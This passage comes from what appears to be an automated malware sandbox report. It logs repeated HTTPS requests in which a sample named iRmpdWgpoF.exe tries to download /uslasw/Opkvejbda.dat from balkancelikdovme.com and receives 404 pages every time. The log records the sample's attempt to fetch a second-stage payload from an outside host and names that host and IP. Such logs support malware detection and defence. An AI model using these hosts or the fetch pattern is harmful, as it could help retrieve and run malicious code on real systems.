2025-01-10 21:38:44 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	50056	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:45 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:45 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:45 GMT vary: User-Agent
2025-01-10 21:38:45 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	50062	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:46 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:46 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:46 GMT vary: User-Agent
2025-01-10 21:38:46 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	50069	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:47 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:47 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:47 GMT vary: User-Agent
2025-01-10 21:38:47 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	50076	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:48 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:48 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:48 GMT vary: User-Agent
2025-01-10 21:38:48 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	50082	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:48 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:49 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:49 GMT vary: User-Agent
2025-01-10 21:38:49 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	50088	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:49 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:50 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:49 GMT vary: User-Agent
2025-01-10 21:38:50 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	50096	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:50 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:50 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:50 GMT vary: User-Agent
2025-01-10 21:38:50 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	50103	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:51 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:51 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:51 GMT vary: User-Agent
2025-01-10 21:38:51 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	50109	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:52 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:52 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:52 GMT vary: User-Agent
2025-01-10 21:38:52 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.4	50112	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:53 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:53 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:53 GMT vary: User-Agent
2025-01-10 21:38:53 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	50113	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:54 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:54 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:54 GMT vary: User-Agent
2025-01-10 21:38:54 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.4	50114	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:55 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:55 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:55 GMT vary: User-Agent
2025-01-10 21:38:55 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.4	50115	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:56 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:56 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:56 GMT vary: User-Agent
2025-01-10 21:38:56 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.4	50116	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:56 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:57 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:57 GMT vary: User-Agent
